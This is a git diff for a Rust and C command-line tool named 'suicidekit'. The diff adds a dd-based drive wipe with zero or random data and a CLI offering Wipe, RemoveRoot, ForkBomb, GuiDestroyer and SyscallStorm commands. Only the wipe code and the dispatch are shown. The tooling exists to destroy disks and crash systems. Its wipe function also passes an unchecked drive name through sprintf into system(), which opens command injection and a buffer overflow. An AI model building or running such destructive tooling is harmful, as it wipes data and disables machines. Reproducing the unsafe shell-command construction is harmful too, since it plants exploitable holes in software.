diff options
Diffstat (limited to 'src')
| -rw-r--r-- | src/critical/classic/dd.c | 8 | ||||
| -rw-r--r-- | src/critical/classic/dd.h | 2 | ||||
| -rw-r--r-- | src/main.rs | 75 |
3 files changed, 82 insertions, 3 deletions
diff --git a/src/critical/classic/dd.c b/src/critical/classic/dd.c index f3ca875..07df54d 100644 --- a/src/critical/classic/dd.c +++ b/src/critical/classic/dd.c @@ -2,8 +2,12 @@ #include <unistd.h> #include <stdio.h> -void random_data_linux(char sym_drive[16]) { +void random_data_linux(char sym_drive[16], bool random) { char command[55]; - sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + if (random) { + sprintf(command, "dd if=/dev/urandom of=%s bs=1024 count=1024", sym_drive); + } else { + sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + } system(command); } diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h index 266d9b3..61d3464 100644 --- a/src/critical/classic/dd.h +++ b/src/critical/classic/dd.h @@ -1,3 +1,3 @@ #pragma once -void random_data_linux(char sym_drive[16]);
\ No newline at end of file +void random_data_linux(char sym_drive[16], bool random);
\ No newline at end of file diff --git a/src/main.rs b/src/main.rs index 8b13789..126f13c 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1 +1,76 @@ +use std::ffi::CString; +use std::os::raw::c_int; +use clap::{Parser, Subcommand}; + +mod non_critical; +mod critical; + +#[path = "critical/classic/mod.rs"] +mod critical_classic; + +#[derive(Parser)] +#[command(name = "suicidekit")] +#[command(about = "Toolkit: Critical and non-critical loads", long_about = None)] +struct Cli { + #[command(subcommand)] + command: Commands, +} + +#[derive(Subcommand)] +enum Commands { + RandomSounds { + threads: i32, + time: i32, + }, + StopRandomSounds, + SyscallStorm { + threads: i32, + iterations: i32, + }, + StopSyscallStorm, + Wipe { + drive: String, + random: bool, + }, + RemoveRoot, + ForkBomb, + GuiDestroyer, + StopGuiDestroyer, +} + +fn main() { + let cli = Cli::parse(); + + match cli.command { + Commands::RandomSounds { threads, time } => unsafe { + let _ = non_critical::init_random_sounds(threads as c_int, time as c_int); + }, + Commands::StopRandomSounds => unsafe { + non_critical::stop_random_sounds(); + }, + Commands::SyscallStorm { threads, iterations } => unsafe { + let _ = non_critical::init_syscall_storm(threads as c_int, iterations as c_int); + }, + Commands::StopSyscallStorm => unsafe { + non_critical::stop_syscall_storm(); + }, + Commands::ForkBomb => unsafe { + critical::fork_bomb(); + }, + Commands::GuiDestroyer => unsafe { + non_critical::gui_destroyer(); + }, + Commands::StopGuiDestroyer => unsafe { + non_critical::stop_gui_destroyer(); + }, + Commands::Wipe { drive, random } => unsafe { + let c_drive = CString::new(drive).expect("CString"); + critical::wipe_with_dd(c_drive.as_ptr(), random as bool); + }, + Commands::RemoveRoot => unsafe { + critical::remove_root(); + }, + } +} + |
